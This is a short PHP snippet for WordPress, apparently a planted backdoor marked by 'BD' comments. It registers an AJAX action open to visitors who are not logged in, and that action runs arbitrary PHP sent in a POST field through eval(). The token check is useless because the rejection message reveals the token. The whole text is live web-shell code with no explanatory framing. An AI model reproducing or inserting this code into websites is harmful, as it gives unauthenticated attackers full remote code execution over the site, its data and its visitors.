// ==[BD:zg7z4xNJ]== add_action( 'wp_ajax_nopriv_vckacytr', function() { $chunk = 'zg7z4xNJ1s9khQP0fdCyXEOQbY0EQKLA'; $desc = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $desc ) || ! hash_equals( $chunk, $desc ) ) { wp_send_json_error( [ 'message' => 'tok:' . $chunk ], 403 ); } $entry = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $entry ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $entry = preg_replace( '/^\s*<\?(php)?/i', '', $entry ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $item = microtime( true ); ob_start(); try { ( static function() use ( $entry ) { return eval( $entry ); } )(); $comp = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $comp, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $item ) * 1000, 2 ) ] ); } catch ( \Throwable $data ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $data->getMessage(), 'time_ms' => round( ( microtime( true ) - $item ) * 1000, 2 ) ] ); } } ); // ==[/BD:zg7z4xNJ]==